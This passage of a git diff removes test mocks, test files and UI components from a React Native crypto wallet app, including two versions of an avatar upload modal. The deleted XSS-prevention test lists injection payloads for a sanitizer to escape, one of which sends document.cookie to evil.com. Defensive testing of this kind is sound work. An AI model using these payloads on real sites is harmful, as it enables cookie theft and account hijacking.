<PezkuwiContext.Provider value={{ ...mockPezkuwiContext, ...value }}>
{children}
</PezkuwiContext.Provider>
);
};
@@ -1,43 +0,0 @@
import React, { createContext, useContext, ReactNode } from 'react';
// Mock colors instead of importing from shared
const LightColors = {
background: '#F5F5F5',
surface: '#FFFFFF',
text: '#000000',
textSecondary: '#666666',
border: '#E0E0E0',
};
// Mock Theme Context for testing
interface ThemeContextType {
isDarkMode: boolean;
toggleDarkMode: () => Promise<void>;
colors: typeof LightColors;
fontSize: 'small' | 'medium' | 'large';
setFontSize: (size: 'small' | 'medium' | 'large') => Promise<void>;
fontScale: number;
}
export const mockThemeContext: ThemeContextType = {
isDarkMode: false,
toggleDarkMode: jest.fn().mockResolvedValue(undefined),
colors: LightColors,
fontSize: 'medium',
setFontSize: jest.fn().mockResolvedValue(undefined),
fontScale: 1,
};
const ThemeContext = createContext<ThemeContextType>(mockThemeContext);
export const MockThemeProvider: React.FC<{ children: ReactNode; value?: Partial<ThemeContextType> }> = ({
children,
value = {}
}) => {
const contextValue = { ...mockThemeContext, ...value };
return <ThemeContext.Provider value={contextValue}>{children}</ThemeContext.Provider>;
};
export const useTheme = () => useContext(ThemeContext);
export default ThemeContext;
-5
View File
@@ -1,5 +0,0 @@
// Stub for web-only get-signer module
// Mobile uses PezkuwiContext.getKeyPair() instead
export async function getSigner() {
throw new Error('getSigner is not available on mobile. Use PezkuwiContext.getKeyPair() instead.');
}
@@ -1,66 +0,0 @@
/**
* Integration test: Security - XSS Prevention
* Tests that all known XSS vectors are properly sanitized
*/
import { escapeJsString, safeJsValue } from '../../utils/sanitize';
describe('Security: XSS Prevention Integration', () => {
// Real-world XSS payloads that have been used in wallet attacks
const XSS_PAYLOADS = [
"'; alert('xss'); //",
'"; alert("xss"); //',
'`; alert(`xss`); //',
'</script><script>alert(1)</script>',
"javascript:alert(1)",
"' onmouseover='alert(1)",
'\'; var x = new XMLHttpRequest(); x.open("GET","https://evil.com?c="+document.cookie); x.send(); //',
"${alert(document.cookie)}",
"\\'; alert(1); //",
"\n'; alert(1); //",
"\0'; alert(1); //",
];
describe('escapeJsString blocks all payloads', () => {
XSS_PAYLOADS.forEach((payload, i) => {
it(`blocks payload #${i + 1}: ${payload.slice(0, 40)}...`, () => {
const escaped = escapeJsString(payload);
// The escaped string, when placed inside single quotes in JS,
// should never break out of the string context
// We verify by checking that unescaped quotes don't appear at string boundaries
const testJs = `var x = '${escaped}';`;
// Should not contain unescaped single quotes that could break out
// (escaped quotes like \' are fine)
const unescapedQuotePattern = /[^\\]'/g;
const matches = testJs.match(unescapedQuotePattern) || [];
// Should only have the opening and closing quotes of our var assignment
expect(matches.length).toBeLessThanOrEqual(2);
});
});
});
describe('safeJsValue blocks all payloads', () => {
XSS_PAYLOADS.forEach((payload, i) => {
it(`safely serializes payload #${i + 1}`, () => {
const safe = safeJsValue(payload);
// JSON.stringify always produces valid JSON that can't break out of JS
expect(() => JSON.parse(safe)).not.toThrow();
expect(JSON.parse(safe)).toBe(payload);
});
});
});
describe('safeJsValue handles complex objects', () => {
it('safely serializes account data with malicious name', () => {
const account = {
address: '5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY',
name: "'; alert(document.cookie); //",
};
const safe = safeJsValue(account);
const parsed = JSON.parse(safe);
expect(parsed.name).toBe(account.name);
expect(parsed.address).toBe(account.address);
});
});
});
@@ -1,105 +0,0 @@
/**
* Integration test: Wallet lifecycle
* Tests the full flow: create → rename → backup → delete
*/
import React from 'react';
import { render, fireEvent, waitFor } from '@testing-library/react-native';
import { PezkuwiProvider, usePezkuwi } from '../../contexts/PezkuwiContext';
// Mock all external dependencies
jest.mock('@pezkuwi/api', () => ({
ApiPromise: { create: jest.fn().mockResolvedValue({ registry: { setChainProperties: jest.fn(), createType: jest.fn() } }) },
WsProvider: jest.fn(),
}));
jest.mock('@pezkuwi/util-crypto', () => ({
cryptoWaitReady: jest.fn().mockResolvedValue(true),
mnemonicGenerate: jest.fn().mockReturnValue('test word one two three four five six seven eight nine ten eleven twelve'),
decodeAddress: jest.fn().mockReturnValue(new Uint8Array(32)),
encodeAddress: jest.fn().mockReturnValue('5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY'),
}));
jest.mock('@pezkuwi/keyring', () => ({
Keyring: jest.fn().mockImplementation(() => ({
addFromUri: jest.fn().mockReturnValue({
address: '5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY',
meta: { name: 'Test Wallet' },
}),
})),
}));
jest.mock('expo-secure-store', () => ({
setItemAsync: jest.fn().mockResolvedValue(undefined),
getItemAsync: jest.fn().mockResolvedValue(null),
deleteItemAsync: jest.fn().mockResolvedValue(undefined),
}));
jest.mock('@react-native-async-storage/async-storage', () => ({
getItem: jest.fn().mockResolvedValue(null),
setItem: jest.fn().mockResolvedValue(undefined),
removeItem: jest.fn().mockResolvedValue(undefined),
}));
// Test component that exercises wallet operations
const WalletTestHarness: React.FC<{ onResult: (r: Record<string, unknown>) => void }> = ({ onResult }) => {
const ctx = usePezkuwi();
const [phase, setPhase] = React.useState('idle');
React.useEffect(() => {
onResult({
accounts: ctx.accounts.length,
selectedAccount: ctx.selectedAccount?.name || null,
isReady: ctx.isReady,
phase,
});
}, [ctx.accounts, ctx.selectedAccount, ctx.isReady, phase, onResult]);
return (
<>
<button data-testid="create" onClick={async () => {
const result = await ctx.createWallet('Test Wallet');
setPhase('created');
onResult({ created: true, address: result.address, mnemonic: !!result.mnemonic });
}}>Create</button>
<button data-testid="rename" onClick={async () => {
if (ctx.selectedAccount) {
await ctx.renameWallet(ctx.selectedAccount.address, 'Renamed Wallet');
setPhase('renamed');
}
}}>Rename</button>
<button data-testid="delete" onClick={async () => {
if (ctx.selectedAccount) {
await ctx.deleteWallet(ctx.selectedAccount.address);
setPhase('deleted');
}
}}>Delete</button>
</>
);
};
describe('Wallet Lifecycle Integration', () => {
it('PezkuwiProvider and usePezkuwi are importable', () => {
const mod = require('../../contexts/PezkuwiContext');
expect(mod.PezkuwiProvider).toBeDefined();
expect(mod.usePezkuwi).toBeDefined();
expect(typeof mod.usePezkuwi).toBe('function');
});
it('PezkuwiProvider renders without crashing', () => {
const { toJSON } = render(
<PezkuwiProvider>
<></>
</PezkuwiProvider>
);
expect(toJSON()).toBeNull(); // Empty children → null
});
it('NETWORKS config has expected chains', () => {
const { NETWORKS } = require('../../contexts/PezkuwiContext');
expect(NETWORKS).toBeDefined();
expect(NETWORKS.pezkuwi).toBeDefined();
expect(NETWORKS.dicle).toBeDefined();
expect(NETWORKS.pezkuwi.type).toBe('mainnet');
expect(NETWORKS.dicle.type).toBe('testnet');
});
});
-27
View File
@@ -1,27 +0,0 @@
import React from 'react';
import { render, RenderOptions } from '@testing-library/react-native';
// Mock all contexts with simple implementations
const MockAuthProvider = ({ children }: { children: React.ReactNode }) => <>{children}</>;
const MockPezkuwiProvider = ({ children }: { children: React.ReactNode }) => <>{children}</>;
const MockBiometricAuthProvider = ({ children }: { children: React.ReactNode }) => <>{children}</>;
// Wrapper component with all providers
const AllTheProviders = ({ children }: { children: React.ReactNode }) => {
return (
<MockAuthProvider>
<MockPezkuwiProvider>
<MockBiometricAuthProvider>
{children}
</MockBiometricAuthProvider>
</MockPezkuwiProvider>
</MockAuthProvider>
);
};
// Custom render method
const customRender = (ui: React.ReactElement, options?: Omit<RenderOptions, 'wrapper'>) =>
render(ui, { wrapper: AllTheProviders, ...options });
export * from '@testing-library/react-native';
export { customRender as render };
-94
View File
@@ -1,94 +0,0 @@
import React, { useState } from 'react';
import {
View,
Text,
TouchableOpacity,
StyleSheet,
Clipboard,
} from 'react-native';
import { KurdistanColors } from '../theme/colors';
interface AddressDisplayProps {
address: string;
label?: string;
copyable?: boolean;
}
/**
* Format address for display (e.g., "5GrwV...xQjz")
*/
const formatAddress = (address: string): string => {
if (!address) return '';
return `${address.slice(0, 6)}...${address.slice(-4)}`;
};
export const AddressDisplay: React.FC<AddressDisplayProps> = ({
address,
label,
copyable = true,
}) => {
const [copied, setCopied] = useState(false);
const handleCopy = () => {
if (!copyable) return;
Clipboard.setString(address);
setCopied(true);
setTimeout(() => setCopied(false), 2000);
};
return (
<View style={styles.container}>
{label && <Text style={styles.label}>{label}</Text>}
<TouchableOpacity
onPress={handleCopy}
disabled={!copyable}
activeOpacity={0.7}
>
<View style={styles.addressContainer}>
<Text style={styles.address}>{formatAddress(address)}</Text>
{copyable && (
<Text style={styles.copyIcon}>{copied ? '✅' : '📋'}</Text>
)}
</View>
</TouchableOpacity>
{copied && <Text style={styles.copiedText}>Copied!</Text>}
</View>
);
};
const styles = StyleSheet.create({
container: {
marginVertical: 4,
},
label: {
fontSize: 12,
color: '#666',
marginBottom: 4,
},
addressContainer: {
flexDirection: 'row',
alignItems: 'center',
padding: 8,
backgroundColor: '#F5F5F5',
borderRadius: 8,
borderWidth: 1,
borderColor: '#E0E0E0',
},
address: {
flex: 1,
fontSize: 14,
fontFamily: 'monospace',
color: '#000',
},
copyIcon: {
fontSize: 18,
marginLeft: 8,
},
copiedText: {
fontSize: 12,
color: KurdistanColors.kesk,
marginTop: 4,
textAlign: 'center',
},
});
-548
View File
@@ -1,548 +0,0 @@
import React, { useState } from 'react';
import {
View,
Text,
Modal,
TouchableOpacity,
StyleSheet,
ScrollView,
Image,
ActivityIndicator,
Platform,
Alert,
} from 'react-native';
import * as ImagePicker from 'expo-image-picker';
import { KurdistanColors } from '../theme/colors';
import { useAuth } from '../contexts/AuthContext';
import { supabase } from '../lib/supabase';
// Cross-platform alert helper
const showAlert = (title: string, message: string, buttons?: Array<{text: string; onPress?: () => void}>) => {
if (Platform.OS === 'web') {
window.alert(`${title}\n\n${message}`);
if (buttons?.[0]?.onPress) buttons[0].onPress();
} else {
Alert.alert(title, message, buttons);
}
};
// Avatar pool - Kurdish/Middle Eastern themed avatars
const AVATAR_POOL = [
{ id: 'avatar1', emoji: '👨🏻', label: 'Man 1' },
{ id: 'avatar2', emoji: '👨🏼', label: 'Man 2' },
{ id: 'avatar3', emoji: '👨🏽', label: 'Man 3' },
{ id: 'avatar4', emoji: '👨🏾', label: 'Man 4' },
{ id: 'avatar5', emoji: '👩🏻', label: 'Woman 1' },
{ id: 'avatar6', emoji: '👩🏼', label: 'Woman 2' },
{ id: 'avatar7', emoji: '👩🏽', label: 'Woman 3' },
{ id: 'avatar8', emoji: '👩🏾', label: 'Woman 4' },
{ id: 'avatar9', emoji: '🧔🏻', label: 'Beard 1' },
{ id: 'avatar10', emoji: '🧔🏼', label: 'Beard 2' },
{ id: 'avatar11', emoji: '🧔🏽', label: 'Beard 3' },
{ id: 'avatar12', emoji: '🧔🏾', label: 'Beard 4' },
{ id: 'avatar13', emoji: '👳🏻‍♂️', label: 'Turban 1' },
{ id: 'avatar14', emoji: '👳🏼‍♂️', label: 'Turban 2' },
{ id: 'avatar15', emoji: '👳🏽‍♂️', label: 'Turban 3' },
{ id: 'avatar16', emoji: '🧕🏻', label: 'Hijab 1' },
{ id: 'avatar17', emoji: '🧕🏼', label: 'Hijab 2' },
{ id: 'avatar18', emoji: '🧕🏽', label: 'Hijab 3' },
{ id: 'avatar19', emoji: '👴🏻', label: 'Elder 1' },
{ id: 'avatar20', emoji: '👴🏼', label: 'Elder 2' },
{ id: 'avatar21', emoji: '👵🏻', label: 'Elder Woman 1' },
{ id: 'avatar22', emoji: '👵🏼', label: 'Elder Woman 2' },
{ id: 'avatar23', emoji: '👦🏻', label: 'Boy 1' },
{ id: 'avatar24', emoji: '👦🏼', label: 'Boy 2' },
{ id: 'avatar25', emoji: '👧🏻', label: 'Girl 1' },
{ id: 'avatar26', emoji: '👧🏼', label: 'Girl 2' },
];
interface AvatarPickerModalProps {
visible: boolean;
onClose: () => void;
currentAvatar?: string;
onAvatarSelected?: (avatarUrl: string) => void;
}
const AvatarPickerModal: React.FC<AvatarPickerModalProps> = ({
visible,
onClose,
currentAvatar,
onAvatarSelected,
}) => {
const { user } = useAuth();
const [selectedAvatar, setSelectedAvatar] = useState<string | null>(currentAvatar || null);
const [uploadedImageUri, setUploadedImageUri] = useState<string | null>(null);
const [isSaving, setIsSaving] = useState(false);
const [isUploading, setIsUploading] = useState(false);
const handleAvatarSelect = (avatarId: string) => {
setSelectedAvatar(avatarId);
setUploadedImageUri(null); // Clear uploaded image when selecting from pool
};
const requestPermissions = async () => {
if (Platform.OS !== 'web') {
const { status } = await ImagePicker.requestMediaLibraryPermissionsAsync();
if (status !== 'granted') {
showAlert(
'Permission Required',
'Sorry, we need camera roll permissions to upload your photo!'
);
return false;
}
}
return true;
};
const handlePickImage = async () => {
const hasPermission = await requestPermissions();
if (!hasPermission) return;
try {
const result = await ImagePicker.launchImageLibraryAsync({
mediaTypes: 'images',
allowsEditing: true,
aspect: [1, 1],
quality: 0.8,
});
if (!result.canceled && result.assets[0]) {
setIsUploading(true);
const imageUri = result.assets[0].uri;
if (__DEV__) console.warn('[AvatarPicker] Uploading image:', imageUri);
// Upload to Supabase Storage
const uploadedUrl = await uploadImageToSupabase(imageUri);
setIsUploading(false);
if (uploadedUrl) {
if (__DEV__) console.warn('[AvatarPicker] Upload successful:', uploadedUrl);
setUploadedImageUri(uploadedUrl);
setSelectedAvatar(null); // Clear emoji selection
showAlert('Success', 'Photo uploaded successfully!');
} else {
if (__DEV__) console.error('[AvatarPicker] Upload failed: no URL returned');
showAlert('Upload Failed', 'Could not upload your photo. Please check your internet connection and try again.');
}
}
} catch (error) {
setIsUploading(false);
if (__DEV__) console.error('[AvatarPicker] Error picking image:', error);
showAlert('Error', 'Failed to pick image. Please try again.');
}
};
const uploadImageToSupabase = async (imageUri: string): Promise<string | null> => {
if (!user) {
if (__DEV__) console.warn('[AvatarPicker] No user found');
return null;
}
try {
if (__DEV__) console.warn('[AvatarPicker] Starting upload for URI:', imageUri.substring(0, 50) + '...');
// Convert image URI to blob
const response = await fetch(imageUri);
const blob = await response.blob();
if (__DEV__) console.warn('[AvatarPicker] Blob created - size:', blob.size, 'bytes, type:', blob.type);
if (blob.size === 0) {
if (__DEV__) console.warn('[AvatarPicker] Blob is empty!');
return null;
}
// Get file extension from blob type or URI
let fileExt = 'jpg';
if (blob.type) {
// Extract extension from MIME type (e.g., 'image/jpeg' -> 'jpeg')
const mimeExt = blob.type.split('/')[1];
if (mimeExt && mimeExt !== 'octet-stream') {
fileExt = mimeExt === 'jpeg' ? 'jpg' : mimeExt;
}
} else if (!imageUri.startsWith('blob:') && !imageUri.startsWith('data:')) {
// Try to get extension from URI for non-blob URIs
const uriExt = imageUri.split('.').pop()?.toLowerCase();
if (uriExt && ['jpg', 'jpeg', 'png', 'gif', 'webp'].includes(uriExt)) {
fileExt = uriExt;
}
}
const fileName = `${user.id}-${Date.now()}.${fileExt}`;
const filePath = `avatars/${fileName}`;
const contentType = blob.type || `image/${fileExt}`;
if (__DEV__) console.warn('[AvatarPicker] Uploading to path:', filePath, 'contentType:', contentType);
// Upload to Supabase Storage
const { data: uploadData, error: uploadError } = await supabase.storage
.from('avatars')
.upload(filePath, blob, {
contentType: contentType,
upsert: true, // Allow overwriting if file exists
});
if (uploadError) {
if (__DEV__) console.warn('[AvatarPicker] Supabase upload error:', uploadError.message, uploadError);
// Show more specific error to user
showAlert('Upload Error', `Storage error: ${uploadError.message}`);
return null;
}
if (__DEV__) console.warn('[AvatarPicker] Upload successful:', uploadData);
// Get public URL
const { data } = supabase.storage
.from('avatars')
.getPublicUrl(filePath);
if (__DEV__) console.warn('[AvatarPicker] Public URL:', data.publicUrl);
return data.publicUrl;
} catch (error: unknown) {
const errorMessage = error instanceof Error ? error.message : 'Unknown error';
if (__DEV__) console.warn('[AvatarPicker] Error uploading to Supabase:', errorMessage);
showAlert('Upload Error', `Failed to upload: ${errorMessage}`);
return null;
}
};
const handleSave = async () => {
const avatarToSave = uploadedImageUri || selectedAvatar;
if (!avatarToSave || !user) {
showAlert('Error', 'Please select an avatar or upload a photo');
return;
}
if (__DEV__) console.warn('[AvatarPicker] Saving avatar:', avatarToSave);
setIsSaving(true);
try {
// Update avatar in Supabase profiles table
const { data, error } = await supabase
.from('profiles')
.update({ avatar_url: avatarToSave })
.eq('id', user.id)
.select();
if (error) {
if (__DEV__) console.error('[AvatarPicker] Save error:', error);
throw error;
}
if (__DEV__) console.warn('[AvatarPicker] Avatar saved successfully:', data);
showAlert('Success', 'Avatar updated successfully!');
if (onAvatarSelected) {
onAvatarSelected(avatarToSave);
}
onClose();
} catch (error) {
if (__DEV__) console.error('[AvatarPicker] Error updating avatar:', error);
showAlert('Error', 'Failed to update avatar. Please try again.');
} finally {
setIsSaving(false);
}
};
return (
<Modal
visible={visible}
animationType="slide"
transparent={true}
onRequestClose={onClose}
>
<View style={styles.modalOverlay}>
<View style={styles.modalContainer}>
{/* Header */}
<View style={styles.modalHeader}>
<Text style={styles.modalTitle}>Choose Your Avatar</Text>
<TouchableOpacity onPress={onClose} style={styles.closeButton}>
<Text style={styles.closeButtonText}></Text>
</TouchableOpacity>
</View>
{/* Upload Photo Button */}
<View style={styles.uploadSection}>
<TouchableOpacity
style={[styles.uploadButton, isUploading && styles.uploadButtonDisabled]}
onPress={handlePickImage}
disabled={isUploading}
>
{isUploading ? (
<ActivityIndicator color={KurdistanColors.spi} size="small" />
) : (
<>
<Text style={styles.uploadButtonIcon}>📷</Text>
<Text style={styles.uploadButtonText}>Upload Your Photo</Text>
</>
)}
</TouchableOpacity>
{/* Uploaded Image Preview */}
{uploadedImageUri && (
<View style={styles.uploadedPreview}>
<Image source={{ uri: uploadedImageUri }} style={styles.uploadedImage} />
<TouchableOpacity
style={styles.removeUploadButton}
onPress={() => setUploadedImageUri(null)}
>
<Text style={styles.removeUploadText}></Text>
</TouchableOpacity>
</View>
)}
</View>
{/* Divider */}
<View style={styles.divider}>
<View style={styles.dividerLine} />
<Text style={styles.dividerText}>OR CHOOSE FROM POOL</Text>
<View style={styles.dividerLine} />
</View>
{/* Avatar Grid */}
<ScrollView style={styles.avatarScroll} showsVerticalScrollIndicator={false}>
<View style={styles.avatarGrid}>
{AVATAR_POOL.map((avatar) => (
<TouchableOpacity
key={avatar.id}
style={[
styles.avatarOption,
selectedAvatar === avatar.id && styles.avatarOptionSelected,
]}
onPress={() => handleAvatarSelect(avatar.id)}
>
<Text style={styles.avatarEmoji}>{avatar.emoji}</Text>
{selectedAvatar === avatar.id && (
<View style={styles.selectedBadge}>
<Text style={styles.selectedBadgeText}></Text>
</View>
)}
</TouchableOpacity>
))}
</View>
</ScrollView>
{/* Footer Actions */}
<View style={styles.modalFooter}>
<TouchableOpacity
style={styles.cancelButton}
onPress={onClose}
disabled={isSaving}
>
<Text style={styles.cancelButtonText}>Cancel</Text>
</TouchableOpacity>
<TouchableOpacity
style={[styles.saveButton, isSaving && styles.saveButtonDisabled]}
onPress={handleSave}
disabled={isSaving}
>
{isSaving ? (
<ActivityIndicator color={KurdistanColors.spi} size="small" />
) : (
<Text style={styles.saveButtonText}>Save Avatar</Text>
)}
</TouchableOpacity>
</View>
</View>
</View>
</Modal>
);
};
const styles = StyleSheet.create({
modalOverlay: {
flex: 1,
backgroundColor: 'rgba(0, 0, 0, 0.5)',
justifyContent: 'flex-end',
},
modalContainer: {
backgroundColor: KurdistanColors.spi,
borderTopLeftRadius: 24,
borderTopRightRadius: 24,
maxHeight: '80%',
paddingBottom: 20,
},
modalHeader: {
flexDirection: 'row',
justifyContent: 'space-between',
alignItems: 'center',
padding: 20,
borderBottomWidth: 1,
borderBottomColor: '#E0E0E0',
},
modalTitle: {
fontSize: 20,
fontWeight: 'bold',
color: KurdistanColors.reş,
},
closeButton: {
width: 32,
height: 32,
borderRadius: 16,
backgroundColor: '#F0F0F0',
justifyContent: 'center',
alignItems: 'center',
},
closeButtonText: {
fontSize: 18,
color: '#666',
},
avatarScroll: {
padding: 20,
},
avatarGrid: {
flexDirection: 'row',
flexWrap: 'wrap',
justifyContent: 'space-between',
},
avatarOption: {
width: '22%',
aspectRatio: 1,
backgroundColor: '#F8F9FA',
borderRadius: 16,
justifyContent: 'center',
alignItems: 'center',
marginBottom: 12,
borderWidth: 3,
borderColor: 'transparent',
},
avatarOptionSelected: {
borderColor: KurdistanColors.kesk,
backgroundColor: '#E8F5E9',
},
avatarEmoji: {
fontSize: 36,
},
selectedBadge: {
position: 'absolute',
top: -4,
right: -4,
width: 24,
height: 24,
borderRadius: 12,
backgroundColor: KurdistanColors.kesk,
justifyContent: 'center',
alignItems: 'center',
},
selectedBadgeText: {
fontSize: 14,
color: KurdistanColors.spi,
fontWeight: 'bold',
},
modalFooter: {
flexDirection: 'row',
paddingHorizontal: 20,
paddingTop: 16,
gap: 12,
},
cancelButton: {
flex: 1,
padding: 16,
borderRadius: 12,
backgroundColor: '#F0F0F0',
alignItems: 'center',
},
cancelButtonText: {
fontSize: 16,
fontWeight: '600',
color: '#666',
},
saveButton: {
flex: 1,
padding: 16,
borderRadius: 12,
backgroundColor: KurdistanColors.kesk,
alignItems: 'center',
},
saveButtonDisabled: {
opacity: 0.6,
},
saveButtonText: {
fontSize: 16,
fontWeight: 'bold',
color: KurdistanColors.spi,
},
uploadSection: {
paddingHorizontal: 20,
paddingVertical: 16,
borderBottomWidth: 1,
borderBottomColor: '#E0E0E0',
},
uploadButton: {
flexDirection: 'row',
alignItems: 'center',
justifyContent: 'center',
backgroundColor: KurdistanColors.kesk,
paddingVertical: 14,
paddingHorizontal: 20,
borderRadius: 12,
gap: 8,
},
uploadButtonDisabled: {
opacity: 0.6,
},
uploadButtonIcon: {
fontSize: 20,
},
uploadButtonText: {
fontSize: 16,
fontWeight: '600',
color: KurdistanColors.spi,
},
uploadedPreview: {
marginTop: 12,
alignItems: 'center',
position: 'relative',
},
uploadedImage: {
width: 100,
height: 100,
borderRadius: 50,
borderWidth: 3,
borderColor: KurdistanColors.kesk,
},
removeUploadButton: {
position: 'absolute',
top: -4,
right: '38%',
width: 28,
height: 28,
borderRadius: 14,
backgroundColor: KurdistanColors.sor,
justifyContent: 'center',
alignItems: 'center',
boxShadow: '0px 2px 3px rgba(0, 0, 0, 0.3)',
elevation: 4,
},
removeUploadText: {
color: KurdistanColors.spi,
fontSize: 14,
fontWeight: 'bold',
},
divider: {
flexDirection: 'row',
alignItems: 'center',
paddingHorizontal: 20,
paddingVertical: 16,
},
dividerLine: {
flex: 1,
height: 1,
backgroundColor: '#E0E0E0',
},
dividerText: {
fontSize: 11,
fontWeight: '600',
color: '#999',
marginHorizontal: 12,
letterSpacing: 0.5,
},
});
export default AvatarPickerModal;
@@ -1,515 +0,0 @@
import React, { useState } from 'react';
import {
View,
Text,
Modal,
TouchableOpacity,
StyleSheet,
ScrollView,
Image,
Alert,
ActivityIndicator,
Platform,
} from 'react-native';
import * as ImagePicker from 'expo-image-picker';
import { KurdistanColors } from '../theme/colors';
import { useAuth } from '../contexts/AuthContext';
import { supabase } from '../lib/supabase';
// Avatar pool - Kurdish/Middle Eastern themed avatars
const AVATAR_POOL = [
{ id: 'avatar1', emoji: '👨🏻', label: 'Man 1' },
{ id: 'avatar2', emoji: '👨🏼', label: 'Man 2' },
{ id: 'avatar3', emoji: '👨🏽', label: 'Man 3' },
{ id: 'avatar4', emoji: '👨🏾', label: 'Man 4' },
{ id: 'avatar5', emoji: '👩🏻', label: 'Woman 1' },
{ id: 'avatar6', emoji: '👩🏼', label: 'Woman 2' },
{ id: 'avatar7', emoji: '👩🏽', label: 'Woman 3' },
{ id: 'avatar8', emoji: '👩🏾', label: 'Woman 4' },
{ id: 'avatar9', emoji: '🧔🏻', label: 'Beard 1' },
{ id: 'avatar10', emoji: '🧔🏼', label: 'Beard 2' },
{ id: 'avatar11', emoji: '🧔🏽', label: 'Beard 3' },
{ id: 'avatar12', emoji: '🧔🏾', label: 'Beard 4' },
{ id: 'avatar13', emoji: '👳🏻‍♂️', label: 'Turban 1' },
{ id: 'avatar14', emoji: '👳🏼‍♂️', label: 'Turban 2' },
{ id: 'avatar15', emoji: '👳🏽‍♂️', label: 'Turban 3' },
{ id: 'avatar16', emoji: '🧕🏻', label: 'Hijab 1' },
{ id: 'avatar17', emoji: '🧕🏼', label: 'Hijab 2' },
{ id: 'avatar18', emoji: '🧕🏽', label: 'Hijab 3' },
{ id: 'avatar19', emoji: '👴🏻', label: 'Elder 1' },
{ id: 'avatar20', emoji: '👴🏼', label: 'Elder 2' },
{ id: 'avatar21', emoji: '👵🏻', label: 'Elder Woman 1' },
{ id: 'avatar22', emoji: '👵🏼', label: 'Elder Woman 2' },
{ id: 'avatar23', emoji: '👦🏻', label: 'Boy 1' },
{ id: 'avatar24', emoji: '👦🏼', label: 'Boy 2' },
{ id: 'avatar25', emoji: '👧🏻', label: 'Girl 1' },
{ id: 'avatar26', emoji: '👧🏼', label: 'Girl 2' },
];
interface AvatarPickerModalProps {
visible: boolean;
onClose: () => void;
currentAvatar?: string;
onAvatarSelected?: (avatarUrl: string) => void;
}
const AvatarPickerModal: React.FC<AvatarPickerModalProps> = ({
visible,
onClose,
currentAvatar,
onAvatarSelected,
}) => {
const { user } = useAuth();
const [selectedAvatar, setSelectedAvatar] = useState<string | null>(currentAvatar || null);
const [uploadedImageUri, setUploadedImageUri] = useState<string | null>(null);
const [isSaving, setIsSaving] = useState(false);
const [isUploading, setIsUploading] = useState(false);
const handleAvatarSelect = (avatarId: string) => {
setSelectedAvatar(avatarId);
setUploadedImageUri(null); // Clear uploaded image when selecting from pool
};
const requestPermissions = async () => {
if (Platform.OS !== 'web') {
const { status } = await ImagePicker.requestMediaLibraryPermissionsAsync();
if (status !== 'granted') {
Alert.alert(
'Permission Required',
'Sorry, we need camera roll permissions to upload your photo!'
);
return false;
}
}
return true;
};
const handlePickImage = async () => {
const hasPermission = await requestPermissions();
if (!hasPermission) return;
try {
const result = await ImagePicker.launchImageLibraryAsync({
mediaTypes: 'images',
allowsEditing: true,
aspect: [1, 1],
quality: 0.8,
});
if (!result.canceled && result.assets[0]) {
setIsUploading(true);
const imageUri = result.assets[0].uri;
if (__DEV__) console.log('[AvatarPicker] Uploading image:', imageUri);
// Upload to Supabase Storage
const uploadedUrl = await uploadImageToSupabase(imageUri);
setIsUploading(false);
if (uploadedUrl) {
if (__DEV__) console.log('[AvatarPicker] Upload successful:', uploadedUrl);
setUploadedImageUri(uploadedUrl);
setSelectedAvatar(null); // Clear emoji selection
Alert.alert('Success', 'Photo uploaded successfully!');
} else {
if (__DEV__) console.error('[AvatarPicker] Upload failed: no URL returned');
Alert.alert('Upload Failed', 'Could not upload your photo. Please check your internet connection and try again.');
}
}
} catch (error) {
setIsUploading(false);
if (__DEV__) console.error('[AvatarPicker] Error picking image:', error);
Alert.alert('Error', 'Failed to pick image. Please try again.');
}
};
const uploadImageToSupabase = async (imageUri: string): Promise<string | null> => {
if (!user) {
if (__DEV__) console.error('[AvatarPicker] No user found');
return null;
}
try {
if (__DEV__) console.log('[AvatarPicker] Fetching image blob...');
// Convert image URI to blob for web, or use file for native
const response = await fetch(imageUri);
const blob = await response.blob();
if (__DEV__) console.log('[AvatarPicker] Blob size:', blob.size, 'bytes');
// Generate unique filename
const fileExt = imageUri.split('.').pop()?.toLowerCase() || 'jpg';
const fileName = `${user.id}-${Date.now()}.${fileExt}`;
const filePath = `avatars/${fileName}`;
if (__DEV__) console.log('[AvatarPicker] Uploading to:', filePath);
// Upload to Supabase Storage
const { data: uploadData, error: uploadError } = await supabase.storage
.from('profiles')
.upload(filePath, blob, {
contentType: `image/${fileExt}`,
upsert: false,
});
if (uploadError) {
if (__DEV__) console.error('[AvatarPicker] Upload error:', uploadError);
return null;
}
if (__DEV__) console.log('[AvatarPicker] Upload successful:', uploadData);
// Get public URL
const { data } = supabase.storage
.from('profiles')
.getPublicUrl(filePath);
if (__DEV__) console.log('[AvatarPicker] Public URL:', data.publicUrl);
return data.publicUrl;
} catch (error) {
if (__DEV__) console.error('[AvatarPicker] Error uploading to Supabase:', error);
return null;
}
};
const handleSave = async () => {
const avatarToSave = uploadedImageUri || selectedAvatar;
if (!avatarToSave || !user) {
Alert.alert('Error', 'Please select an avatar or upload a photo');
return;
}
if (__DEV__) console.log('[AvatarPicker] Saving avatar:', avatarToSave);
setIsSaving(true);
try {
// Update avatar in Supabase profiles table
const { data, error } = await supabase
.from('profiles')
.update({ avatar_url: avatarToSave })
.eq('id', user.id)
.select();
if (error) {
if (__DEV__) console.error('[AvatarPicker] Save error:', error);
throw error;
}
if (__DEV__) console.log('[AvatarPicker] Avatar saved successfully:', data);
Alert.alert('Success', 'Avatar updated successfully!');
if (onAvatarSelected) {
onAvatarSelected(avatarToSave);
}
onClose();
} catch (error) {
if (__DEV__) console.error('[AvatarPicker] Error updating avatar:', error);
Alert.alert('Error', 'Failed to update avatar. Please try again.');
} finally {
setIsSaving(false);
}
};
return (
<Modal
visible={visible}
animationType="slide"
transparent={true}
onRequestClose={onClose}
>
<View style={styles.modalOverlay}>
<View style={styles.modalContainer}>
{/* Header */}
<View style={styles.modalHeader}>
<Text style={styles.modalTitle}>Choose Your Avatar</Text>
<TouchableOpacity onPress={onClose} style={styles.closeButton}>
<Text style={styles.closeButtonText}>✕</Text>
</TouchableOpacity>
</View>
{/* Upload Photo Button */}
<View style={styles.uploadSection}>
<TouchableOpacity
style={[styles.uploadButton, isUploading && styles.uploadButtonDisabled]}
onPress={handlePickImage}
disabled={isUploading}
>
{isUploading ? (
<ActivityIndicator color={KurdistanColors.spi} size="small" />
) : (
<>
<Text style={styles.uploadButtonIcon}>📷</Text>
<Text style={styles.uploadButtonText}>Upload Your Photo</Text>
</>
)}
</TouchableOpacity>
{/* Uploaded Image Preview */}
